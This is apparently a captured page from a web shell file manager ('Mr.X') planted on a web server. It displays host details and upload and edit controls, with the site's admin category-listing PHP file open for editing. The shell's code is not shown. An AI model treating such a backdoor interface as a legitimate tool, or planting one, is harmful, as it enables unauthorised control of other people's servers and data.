🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:categories.php
<?php $page = 'categories'; $page_title = 'Categories'; require_once '../includes/header.php'; if (isset($_GET['delete'])) { $id = intval($_GET['delete']); $db->prepare("DELETE FROM categories WHERE id = ?")->execute([$id]); admin_set_flash('success', 'Category deleted'); header('Location: ' . ADMIN_PATH . 'pages/categories.php'); exit; } $categories = get_categories(); ?> <div class="data-table-wrapper"> <div class="d-flex justify-content-between align-items-center mb-4"> <h3 style="margin: 0; font-size: 1.2rem;">All Categories</h3> <a href="<?= ADMIN_PATH ?>pages/category-add.php" class="btn-admin btn-primary-admin"> <i class="fas fa-plus"></i> Add Category </a> </div> <div class="table-responsive"> <table class="admin-table"> <thead> <tr> <th>Icon</th> <th>Name</th> <th>Slug</th> <th>Products</th> <th>Status</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($categories as $cat): $count = $db->prepare("SELECT COUNT(*) FROM products WHERE category_id = ?"); $count->execute([$cat['id']]); $product_count = $count->fetchColumn(); ?> <tr> <td><i class="<?= $cat['icon'] ?? 'fas fa-tag' ?>" style="color: var(--primary-rose-gold); font-size: 1.3rem;"></i></td> <td><strong><?= htmlspecialchars($cat['name']) ?></strong></td> <td><code><?= htmlspecialchars($cat['slug']) ?></code></td> <td><span class="badge" style="background: var(--soft-pink); color: var(--primary-rose-gold); padding: 4px 10px; border-radius: 10px;"><?= $product_count ?> products</span></td> <td> <span class="status-badge status-<?= $cat['status'] ? 'active' : 'inactive' ?>"> <?= $cat['status'] ? 'Active' : 'Inactive' ?> </span> </td> <td> <div class="action-buttons"> <a href="<?= ADMIN_PATH ?>pages/category-add.php?id=<?= $cat['id'] ?>" class="btn-icon btn-admin btn-primary-admin" data-bs-toggle="tooltip" title="Edit"> <i class="fas fa-edit"></i> </a> <button class="btn-icon btn-admin btn-secondary-admin toggle-status" data-id="<?= $cat['id'] ?>" data-table="categories" data-bs-toggle="tooltip" title="Toggle Status"> <i class="fas fa-sync"></i> </button> <a href="?delete=<?= $cat['id'] ?>" class="btn-icon btn-admin btn-danger-admin confirm-delete" data-bs-toggle="tooltip" title="Delete"> <i class="fas fa-trash"></i> </a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <?php require_once '../includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder